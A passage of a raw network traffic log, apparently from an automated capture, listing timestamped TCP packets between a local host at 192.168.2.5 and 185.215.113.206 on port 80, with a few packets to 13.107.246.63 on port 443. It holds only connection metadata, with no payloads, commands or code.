Nov 29, 2024 19:49:45.531275988 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.531322002 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.532373905 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.532428026 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.532443047 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.532486916 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.533512115 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.533564091 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.533616066 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.533658028 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.534641027 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.534687996 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.534702063 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.534765005 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.535773993 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.535824060 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.535892010 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.535945892 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.536910057 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.536959887 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.536998987 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.537045956 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.538132906 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.538175106 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.538186073 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.538219929 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.539187908 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.539236069 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.539247990 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.539295912 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.540327072 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.540383101 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.540389061 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.540430069 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.541512966 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.541569948 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.541620016 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.541697025 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.542639971 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.542682886 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.542738914 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.542789936 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.543788910 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.543831110 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.543867111 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.543916941 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.544949055 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.544991970 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.545069933 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.545120001 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.546144962 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.546191931 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.546257019 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.546303988 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.547183037 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.547234058 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.547235966 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.547271967 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.548338890 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.548388958 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.548537016 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.548593044 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.549460888 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.549511909 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.549514055 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.549568892 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.591991901 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.592051029 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.592132092 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.592176914 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.592586040 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.592643023 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.592673063 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.592709064 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.593630075 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.593682051 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.593765020 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.593811989 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.594697952 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.594753027 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.594814062 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.594860077 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.595871925 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.595936060 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.595968962 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.596025944 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.597024918 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.597078085 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.597249031 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.597291946 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.598141909 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.598192930 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.598202944 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.598248005 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.599509001 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.599560022 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.599592924 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.599637985 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.600598097 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.600649118 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.600699902 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.600747108 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.601542950 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.601591110 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.601625919 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.601666927 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.602714062 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.602758884 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.602886915 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.602931023 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.603820086 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.603868961 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.603941917 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.603992939 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.604954004 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.605000019 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.605034113 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.605077982 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.606179953 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.606228113 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.606237888 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.606281996 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.607233047 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.607279062 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.607309103 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.607353926 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.608371973 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.608421087 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.608450890 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.608477116 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.609555960 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.609608889 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.609639883 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.609685898 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.610635042 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.610682011 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.610694885 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.610735893 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.611891985 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.611942053 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.612032890 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.612083912 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.612998962 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.613022089 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.613049030 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.613079071 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.614073038 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.614124060 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.614200115 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.614244938 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.615186930 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.615241051 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.615269899 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.615310907 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.616313934 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.616358042 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.616415024 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.616461039 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.617465019 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.617513895 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.617592096 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.617650986 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.618658066 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.618710041 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.618740082 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.618782997 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.619786978 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.619847059 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.619868994 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.619919062 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.621015072 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.621063948 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.621087074 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.621124029 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.622033119 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.622083902 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.622117996 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.622163057 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.623260021 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.623306990 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.623349905 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.623395920 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.624300003 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.624347925 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.624427080 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.624470949 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.725773096 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.725819111 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.725846052 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.725857973 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.726100922 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.726145983 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.726402044 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.726454973 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.726563931 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.726608992 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.727492094 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.727536917 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.727571011 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.727650881 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.728607893 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.728689909 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.728703976 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.728744984 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.729861021 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.729912996 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.730001926 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.730045080 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.730920076 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.730971098 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.731003046 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.731059074 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.732014894 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.732059002 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.732549906 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.732620955 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.732655048 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.732695103 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.733707905 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.733805895 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.733815908 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.733906031 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.734817982 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.734875917 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.734977007 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.735033989 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.736008883 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.736064911 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.736121893 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.736160040 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.737107992 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.737154007 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.737196922 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.737406969 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.738277912 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.738312960 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.738327026 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.738356113 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.739375114 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.739420891 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.739814043 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.739882946 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.740513086 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.740566969 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.740648031 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.740782976 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.741835117 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.741887093 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.742043972 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.742091894 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.742810965 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.742925882 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.742971897 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.743935108 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.743983030 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.743993044 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.744024992 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.745042086 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.745099068 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.745172024 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.745261908 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.746277094 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.746330976 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.746898890 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.746963024 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.747375965 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.747426987 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.747565031 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.747623920 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.748502016 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.748549938 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.748646975 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.748689890 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.749705076 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.749748945 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.749800920 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.749841928 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.750828981 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.750844002 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.750874996 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.750894070 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.793390036 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.793447018 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.793464899 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.793509007 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.793914080 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.793966055 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.794007063 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.794055939 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.795094967 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.795145988 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.795192003 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.795234919 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.796314001 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.796365023 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.796394110 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.796437979 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.797105074 CET	443	49787	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:45.797184944 CET	443	49787	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:45.797241926 CET	49787	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:45.797486067 CET	49787	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:45.797501087 CET	443	49787	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:45.797509909 CET	49787	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:45.797516108 CET	443	49787	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:45.797575951 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.797626019 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.797648907 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.797688007 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.798796892 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.798865080 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.798923016 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.799884081 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.799952030 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.800040960 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.800106049 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.800843000 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.800865889 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.800911903 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.801060915 CET	49792	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:45.801090956 CET	443	49792	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:45.801175117 CET	49792	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:45.801372051 CET	49792	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:45.801393032 CET	443	49792	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:45.801773071 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.801821947 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.801883936 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.801924944 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.802988052 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.803035021 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.803066015 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.803102016 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.804075956 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.804125071 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.804239035 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.804286957 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.805211067 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.805258036 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.805349112 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.805445910 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.806330919 CET	80	49772	185.215.113.206	192.168.2.5
